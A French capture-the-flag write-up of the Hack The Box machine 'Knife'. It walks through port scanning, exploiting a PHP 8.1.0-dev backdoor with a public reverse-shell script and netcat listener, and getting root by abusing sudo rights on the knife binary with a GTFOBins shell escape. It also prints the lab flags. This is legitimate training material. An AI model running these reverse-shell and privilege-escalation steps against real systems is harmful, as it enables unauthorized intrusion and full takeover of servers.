

Knife

Aujourd'hui, nous allons attaquer la machine Knife de difficulté easy :



Knife
Linux · Easy

0
Points

★★★★☆
3.7266 Reviews


User Rated Difficulty

On commence par énumérer les ports ouverts, on trouve ssh et http :

```
(root@framboisine)-[/home/alaia/Documents/htb]
# nmap -p- -sC -sV 10.10.10.242
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-31 14:49 CET
Nmap scan report for 10.10.10.242
Host is up (0.018s latency).
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|_ 3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA)
|_ 256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA)
|_ 256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519)
80/tcp    open  http     Apache httpd 2.4.41 ((Ubuntu))
|_ http-title: Emergent Medical Idea
|_ http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.36 seconds
```

La dégaîne du site sur le port 80 :



On lance nikto et gobuster :

```
(root@framboisine)-[/home/alaia/Documents/htb]
# nikto -host 10.10.10.242
- Nikto v2.5.0

+ Target IP: 10.10.10.242
+ Target Hostname: 10.10.10.242
+ Target Port: 80
+ Start Time: 2023-12-31 15:09:09 (GMT1)

+ Server: Apache/2.4.41 (Ubuntu)
+ /: Retrieved x-powered-by header: PHP/8.1.0-dev.
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.41 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ 8047 requests: 0 error(s) and 5 item(s) reported on remote host
+ End Time: 2023-12-31 15:11:13 (GMT1) (124 seconds)

+ 1 host(s) tested
```

```
(root@framboisine)-[/home/alaia/Documents/htb]
# gobuster dir -u 10.10.10.242 -w /usr/share/wordlists/dirb/common.txt

Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: http://10.10.10.242
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s

Starting gobuster in directory enumeration mode

/.hta (Status: 403) [Size: 277]
/.htaccess (Status: 403) [Size: 277]
/.htpasswd (Status: 403) [Size: 277]
/index.php (Status: 200) [Size: 5815]
/server-status (Status: 403) [Size: 277]
Progress: 4614 / 4615 (99.98%)

Finished
```

La seule information intéressante qu'on a trouvée est la version de php : PHP/8.1.0-dev.

Le premier résultat sur Google est un exploit sur [GitHub](#) qui nous donne notamment un reverse shell :

```
/github.com/flast101/php-8.1.0-dev-backdoor-rce
ms Kali NetHunter Exploit-DB Google Hacking DB OffSec
README.md
$ id
uid=1000(user) gid=1000(user) groups=1000(user)

Reverse Shell

This short exploit script revshell\_php\_8.1.0-dev.py gives a reverse shell on target.

Usage:

└─(user@kali)-[~/Documents]
└─$ python3 revshell_php_8.1.0-dev.py <target URL> <attacker IP> <attacker PORT>

└─(root@kali)-[~/Documents/scripts/php 8.1.0-dev backdoor rce]
└─# python3 revshell_php_8.1.0-dev.py -h
usage: revshell_php_8.1.0-dev.py [-h] <target URL> <attacker IP> <attacker PORT>

Get a reverse shell from PHP 8.1.0-dev backdoor. Set up a netcat listener in another
shell: nc -nlvp <attacker PORT>

positional arguments:
  <target URL>      Target URL
  <attacker IP>     Attacker listening IP
  <attacker PORT>   Attacker listening port

optional arguments:
  -h, --help       show this help message and exit
```

On récupère notre adresse IP :

```
(alaia@framboisine)-[~/Documents/htb/knife]
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 10.0.2.12 netmask 255.255.255.0 broadcast 10.0.2.255
    inet6 fe80::a00:27ff:fe74:7722 prefixlen 64 scopeid 0x20<link>
    ether 08:00:27:74:77:22 txqueuelen 1000 (Ethernet)
    RX packets 209625 bytes 141247556 (134.7 MiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 148504 bytes 34101086 (32.5 MiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0x10<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 584 bytes 136197 (133.0 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 584 bytes 136197 (133.0 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

tun0: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST> mtu 1500
    inet 10.10.14.10 netmask 255.255.254.0 destination 10.10.14.10
    inet6 dead:beef:2::1008 prefixlen 64 scopeid 0x0<global>
    inet6 fe80::2cf8:8a75:4cca:fcf9 prefixlen 64 scopeid 0x20<link>
    unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 txqueuelen 500 (UNSPEC)
    RX packets 104254 bytes 20914138 (19.9 MiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 103147 bytes 9247455 (8.8 MiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

On écoute sur le port 1234 :

```
(alaia@framboisine)-[~/Documents/htb/knife]
$ nc -nlvp 1234
listening on [any] 1234 ...
```

Puis, dans un autre terminal, on lance le script qu'on a récupéré sur GitHub :

```
(root@framboisine)-[/home/alaia/Documents/htb/knife]
# python3 revshell_php_8.1.0-dev.py http://10.10.10.242 10.10.14.10 1234
```

On est maintenant connecté en tant que james :

```
(alaia@framboisine)-[~/Documents/htb/knife]
$ nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.10.14.10] from (UNKNOWN) [10.10.10.242] 33322
bash: cannot set terminal process group (967): Inappropriate ioctl for device
bash: no job control in this shell
james@knife:/$ id
uid=1000(james) gid=1000(james) groups=1000(james)
james@knife:/$
```

On peut voir le flag user :

```
james@knife:/$ cat /home/james/user.txt
cat /home/james/user.txt
efdb47cfc67dfbedff26279aab8fde39
james@knife:/$
```

On regarde quelles commandes on peut exécuter en tant que root :

```
james@knife:/$ sudo -l
sudo -l
Matching Defaults entries for james on knife:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User james may run the following commands on knife:
    (root) NOPASSWD: /usr/bin/knife
james@knife:/$
```

On cherche knife sur gtfobins :

<https://gtfobins.github.io/gtfobins/knife/>
li Forums Kali NetHunter Exploit-DB Google Hacking DB OffSec

.. / knife Star 9,587

Shell Sudo

This is capable of running [ruby](#) code.

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

```
knife exec -E 'exec "/bin/sh"'
```

Sudo

If the binary is allowed to run as superuser by [sudo](#), it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

```
sudo knife exec -E 'exec "/bin/sh"'
```

Une minuscule partie du résultat de `sudo /usr/bin/knife -h` :

```
** BASE COMMANDS **
Usage: /usr/bin/knife (options)
```

```
** EXEC COMMANDS **
knife exec [SCRIPT] (options)
```

On lance la commande permettant d'obtenir un shell :

```
james@knife:/$ sudo /usr/bin/knife exec -E 'exec "/bin/sh"'
sudo /usr/bin/knife exec -E 'exec "/bin/sh"'
id
uid=0(root) gid=0(root) groups=0(root)
```

On est maintenant root et on peut afficher le flag :

```
james@knife:/$ sudo /usr/bin/knife exec -E 'exec "/bin/sh"'
sudo /usr/bin/knife exec -E 'exec "/bin/sh"'
id (sssd:51114): dconf-WARNING **: 14:04:14.000: failed to
uid=0(root) gid=0(root) groups=0(root) (ory)
ls /root
delete.sh (sssd:51114): dconf-WARNING **: 14:04:14.000: failed to
root.txt (launch" (No such file or directory)
snap
cat root/root.txt (sssd:51114): dconf-WARNING **: 14:04:14.000: failed to
04d24ac430a76de50a1eedbe8440144e directory)
```

EZ les doigts dans le nez